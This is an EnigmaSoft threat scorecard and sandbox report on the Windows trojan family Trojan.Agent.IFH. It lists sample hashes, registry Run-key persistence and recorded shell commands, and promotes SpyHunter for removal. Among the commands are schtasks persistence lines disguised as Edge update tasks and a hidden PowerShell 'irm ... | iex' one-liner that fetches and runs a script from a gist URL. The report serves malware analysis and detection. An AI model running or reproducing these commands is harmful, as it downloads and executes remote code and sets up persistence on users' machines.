Trojan.Agent.IFH
Threat Scorecard
EnigmaSoft Threat Scorecard
EnigmaSoft Threat Scorecards are assessment reports for different malware threats which have been collected and analyzed by our research team. EnigmaSoft Threat Scorecards evaluate and rank threats using several metrics including real-world and potential risk factors, trends, frequency, prevalence, and persistence. EnigmaSoft Threat Scorecards are updated regularly based on our research data and metrics and are useful for a wide range of computer users, from end users seeking solutions to remove malware from their systems to security experts analyzing threats.
EnigmaSoft Threat Scorecards display a variety of useful information, including:
Popularity Rank: The ranking of a particular threat in EnigmaSoft’s Threat Database.
Severity Level: The determined severity level of an object, represented numerically, based on our risk modeling process and research, as explained in our Threat Assessment Criteria.
Infected Computers: The number of confirmed and suspected cases of a particular threat detected on infected computers as reported by SpyHunter.
See also Threat Assessment Criteria.
| Popularity Rank: | 11,470 |
| Threat Level: | 80 % (High) |
| Infected Computers: | 10 |
| First Seen: | May 14, 2025 |
| Last Seen: | August 19, 2026 |
| OS(es) Affected: | Windows |
The detection of Trojan.Agent.IFH on your system indicates a potential security threat that requires immediate attention. This type of malware is designed to compromise the security of your computer, allowing unauthorized access and potentially leading to further malicious activities. It is essential to understand the nature of this threat and take prompt action to remove it and prevent future infections.
Table of Contents
What Is Trojan.Agent.IFH?
Trojan.Agent.IFH is a type of Trojan horse malware, which is a broad category of threats that disguise themselves as legitimate software to gain unauthorized access to a computer system. The name "Trojan.Agent.IFH" suggests that it is a specific variant of Trojan horse malware, but without more information, it's difficult to determine its exact characteristics or behaviors. Generally, Trojan horses are designed to allow attackers to access a compromised system, steal sensitive information, or use the system for malicious purposes such as spamming or distributing more malware.
How Trojan.Agent.IFH Operates
Like other Trojan horses, Trojan.Agent.IFH is likely designed to operate stealthily, avoiding detection by security software and system administrators. It may use various techniques to evade detection, such as encrypting its communications, hiding in legitimate system processes, or exploiting vulnerabilities in software. Once installed, it can create backdoors for remote access, download and install additional malware, or engage in other malicious activities. Understanding the exact mechanisms of how Trojan.Agent.IFH operates is crucial for developing effective removal strategies, but this information is not always available without detailed analysis.
Symptoms of Infection
The symptoms of a Trojan.Agent.IFH infection can vary widely, depending on its intended purpose and how it is designed to interact with the compromised system. Common indicators of a Trojan horse infection include unusual system behavior, such as unexpected crashes, slow performance, or unfamiliar programs appearing on the system. Additionally, users may notice unusual network activity, changes to system settings, or the presence of unwanted toolbars and extensions in their web browsers. However, some infections may not exhibit noticeable symptoms, making regular system monitoring and security scans essential for early detection.
How to Remove Trojan.Agent.IFH
- Boot your computer in Safe Mode with Networking to limit the malware's ability to interfere with the removal process.
- Use a reputable anti-malware tool, such as SpyHunter, to perform a full scan of your system. This can help identify and remove all components of the Trojan.Agent.IFH malware.
- Uninstall any suspicious programs that were installed around the time of the infection. Be cautious and only remove programs that you are certain are not necessary for your system's operation.
- Reset your web browsers (Chrome, Firefox, Edge) to their default settings to remove any malicious extensions or settings changes made by the malware.
- Reboot your computer and perform another full scan with your anti-malware tool to ensure that all components of the malware have been removed.
Conclusion
Removing Trojan.Agent.IFH from your system requires careful and thorough action to ensure that all components of the malware are eliminated. By following the steps outlined above and maintaining good security practices, such as regularly updating your operating system and security software, using strong passwords, and being cautious when opening email attachments or downloading software from the internet, you can significantly reduce the risk of future infections. Remember, the key to protecting your system from malware like Trojan.Agent.IFH is vigilance and proactive security measures.
Analysis Report
General information
| Family Name: | Trojan.Agent.IFH |
|---|---|
| Signature status: | Self Signed |
Known Samples
Known Samples
This section lists other file samples believed to be associated with this family.|
MD5:
3aa428c1a500b0cda048bbb5727b2dc7
SHA1:
b97b69fd4038863088c681477d39405419671a79
SHA256:
7D2AC0AD0B4458123B6AE8E90C6EE0016C88AAE81E7D0EE1AC2AB27B9AD3BC5A
File Size:
1.64 MB, 1644544 bytes
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MD5:
7363e5d2f277e61f490974264d236fa0
SHA1:
7b24e54facccc339e64d4b8733ce8ec99d93ed9d
SHA256:
F69EFA809D239F8690D4AEBE6907F940945238BC98FEA7DF240D3627BC49F9C0
File Size:
1.64 MB, 1644544 bytes
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MD5:
0982cb66bd10b7adccef0d385b31681f
SHA1:
35d7d7420e6b40dfce539d355a88201a28553c11
SHA256:
E7B8C36DE3154D3009146CD8A97BD998B210930C6012E5ADF3B70921919D8174
File Size:
1.67 MB, 1672704 bytes
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MD5:
f82a6a98dba1922c03abc35eb52e21de
SHA1:
c9c202c6789ac176e1cf19c6da5dfa30d35798c7
SHA256:
4AFBCC925EBB68D0B2ABA4A7276DEE2B15AD114D870C3A68D3949FE11A8C90A7
File Size:
741.38 KB, 741376 bytes
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MD5:
383cf9fff9da3e47d53a2d244cf93eeb
SHA1:
10724d3d8ce4359aeae3a5bb064e270f7086bdb0
SHA256:
B0648BCC47C56A3A52BE0A5B35A1BF2A75DF23052CBC1DE2720CA758DD5D59BF
File Size:
226.82 KB, 226816 bytes
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MD5:
4c30d09dab8f3524c4cee2b57cf28674
SHA1:
ede1aa9db70ff190788aedcc97c7e6de1411db82
SHA256:
5BFCB8B818D300B4A712C094DAA55D29DF62597E26EE10271B01D3A8E978974F
File Size:
471.46 KB, 471464 bytes
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Windows Portable Executable Attributes
- File doesn't have "Rich" header
- File doesn't have debug information
- File doesn't have exports table
- File doesn't have relocations information
- File doesn't have security information
- File has TLS information
- File is 64-bit executable
- File is either console or GUI application
- File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
- File is Native application (NOT .NET application)
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- File is not packed
- IMAGE_FILE_DLL is not set inside PE header (Executable)
- IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)
File Icons
File Icons
This section displays icon resources found within family samples. Malware often replicates icons commonly associated with legitimate software to mislead users into believing the malware is safe.
Windows PE Version Information
Windows PE Version Information
This section displays values and attributes that have been set in the Windows file version information data structure for samples within this family. To mislead users, malware actors often add fake version information mimicking legitimate software.| Name | Value |
|---|---|
| Company Name | Microsoft Corporation |
| File Description |
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| File Version | 10.0.19041.1 |
| Internal Name |
|
| Legal Copyright | (C) Microsoft Corporation. All rights reserved. |
| Original Filename |
|
| Product Name |
|
| Product Version | 10.0.19041.1 |
Digital Signatures
Digital Signatures
This section lists digital signatures that are attached to samples within this family. When analyzing and verifying digital signatures, it is important to confirm that the signature’s root authority is a well-known and trustworthy entity and that the status of the signature is good. Malware is often signed with non-trustworthy “Self Signed” digital signatures (which can be easily created by a malware author with no verification). Malware may also be signed by legitimate signatures that have an invalid status, and by signatures from questionable root authorities with fake or misleading “Signer” names.| Signer | Root | Status |
|---|---|---|
| Contoso Ltd | Contoso Ltd | Self Signed |
File Traits
- HighEntropy
- No Version Info
- x64
Block Information
Block Information
During analysis, EnigmaSoft breaks file samples into logical blocks for classification and comparison with other samples. Blocks can be used to generate malware detection rules and to group file samples into families based on shared source code, functionality and other distinguishing attributes and characteristics. This section lists a summary of this block data, as well as its classification by EnigmaSoft. A visual representation of the block data is also displayed, where available.| Total Blocks: | 871 |
|---|---|
| Potentially Malicious Blocks: | 1 |
| Whitelisted Blocks: | 868 |
| Unknown Blocks: | 2 |
Visual Map
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0 - Probable Safe Block
? - Unknown Block
x - Potentially Malicious Block
? - Unknown Block
x - Potentially Malicious Block
Similar Families
Similar Families
This section lists other families that share similarities with this family, based on EnigmaSoft’s analysis. Many malware families are created from the same malware toolkits and use the same packing and encryption techniques but uniquely extend functionality. Similar families may also share source code, attributes, icons, subcomponents, compromised and/or invalid digital signatures, and network characteristics. Researchers leverage these similarities to rapidly and effectively triage file samples and extend malware detection rules.- Agent.IFH
- Agent.LPQE
- Rozena.JD
- Stealer.DQ
- Trojan.Agent.Gen.EKT
Show More
- Trojan.Agent.Gen.ESY
- Trojan.Injector.Gen.HSW
- Trojan.Kryptik.Gen.FRV
- Trojan.Kryptik.Gen.FVJ
- Trojan.Kryptik.Gen.GIL
- Trojan.Kryptik.Gen.GLL
- Trojan.Kryptik.Gen.GSD
- Trojan.Kryptik.Gen.IIH
- Trojan.ReverseShell.Gen.FI
Files Modified
Files Modified
This section lists files that were created, modified, moved and/or deleted by samples in this family. File system activity can provide valuable insight into how malware functions on the operating system.| File | Attributes |
|---|---|
| \device\namedpipe\dav rpc service | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| \device\namedpipe\pshost.134316368475329004.324.defaultappdomain.powershell | Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288 |
| \device\namedpipe\wkssvc | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\programdata\syscfg_33d6b34d.dat | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\programdata\syscfg_33d6b34d.w | Generic Read,Write Data,Write Attributes,Write extended,Append data |
| c:\users\user\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_fupx2osd.ora.psm1 | Generic Write,Read Attributes |
| c:\users\user\appdata\local\temp\__psscriptpolicytest_vs2exaiu.d35.ps1 | Generic Write,Read Attributes |
Registry Modifications
Registry Modifications
This section lists registry keys and values that were created, modified and/or deleted by samples in this family. Windows Registry activity can provide valuable insight into malware functionality. Additionally, malware often creates registry values to allow itself to automatically start and indefinitely persist after an initial infection has compromised the system.| Key::Value | Data | API Name |
|---|---|---|
| HKCU\software\microsoft\windows\currentversion\run::steamworker | c:\users\user\downloads\b97b69fd4038863088c681477d39405419671a79_0001644544 | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\run::steamworker | c:\users\user\downloads\7b24e54facccc339e64d4b8733ce8ec99d93ed9d_0001644544 | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\run::steamworker | c:\users\user\downloads\35d7d7420e6b40dfce539d355a88201a28553c11_0001672704 | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\run::microsoftwindowsupdate | c:\users\user\downloads\c9c202c6789ac176e1cf19c6da5dfa30d35798c7_0000741376 | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\run::systemhelper | c:\users\user\downloads\10724d3d8ce4359aeae3a5bb064e270f7086bdb0_0000226816 | RegNtPreCreateKey |
| HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe | ହ虿〆ǝ | RegNtPreCreateKey |
| HKLM\software\microsoft\tracing\rasapi32::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filetracingmask | RegNtPreCreateKey |
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| HKLM\software\microsoft\tracing\rasapi32::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasapi32::filedirectory | %windir%\tracing | RegNtPreCreateKey |
| HKLM\software\microsoft\tracing\rasmancs::enablefiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableautofiletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::enableconsoletracing | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filetracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::consoletracingmask | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::maxfilesize | RegNtPreCreateKey | |
| HKLM\software\microsoft\tracing\rasmancs::filedirectory | %windir%\tracing | RegNtPreCreateKey |
| HKCU\software\microsoft\windows\currentversion\run::windowsmediaservice | c:\users\user\downloads\ede1aa9db70ff190788aedcc97c7e6de1411db82_0000471464 | RegNtPreCreateKey |
Windows API Usage
Windows API Usage
This section lists Windows API calls that are used by the samples in this family. Windows API usage analysis is a valuable tool that can help identify malicious activity, such as keylogging, security privilege escalation, data encryption, data exfiltration, interference with antivirus software, and network request manipulation.| Category | API |
|---|---|
| Syscall Use |
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33 additional items are not displayed above. |
| Process Shell Execute |
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| Network Winsock2 |
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| Network Winsock |
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| Process Manipulation Evasion |
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| Anti Debug |
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| User Data Access |
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| Encryption Used |
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| Other Suspicious |
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| Network Info Queried |
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| Network Winhttp |
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| Process Terminate |
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Shell Command Execution
Shell Command Execution
This section lists Windows shell commands that are run by the samples in this family. Windows Shell commands are often leveraged by malware for nefarious purposes and can be used to elevate security privileges, download and launch other malware, exploit vulnerabilities, collect and exfiltrate data, and hide malicious activity.
schtasks /create /tn MicrosoftEdgeUpdateCheck /tr "\"c:\users\user\downloads\c9c202c6789ac176e1cf19c6da5dfa30d35798c7_0000741376\"" /sc onlogon /f
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schtasks /create /tn MicrosoftEdgeUpdateGuard /tr "\"c:\users\user\downloads\c9c202c6789ac176e1cf19c6da5dfa30d35798c7_0000741376\" -w" /sc minute /mo 1 /ru SYSTEM /f
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powershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "irm https://gist.githubusercontent.com/veylate/98034938bbab5373bc472a8e915b2647/raw/f7ae77bfbd5231622b4bad7d2b4dd5749ac646c9/gistfile1.txt | iex"
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WriteConsole: irm : The underl
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WriteConsole:
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WriteConsole: At line:1 char:1
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WriteConsole: + irm https://gi
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WriteConsole: + ~~~~~~~~~~~~~~
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WriteConsole: + CategoryIn
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WriteConsole: eption
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WriteConsole: + FullyQuali
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WriteConsole:
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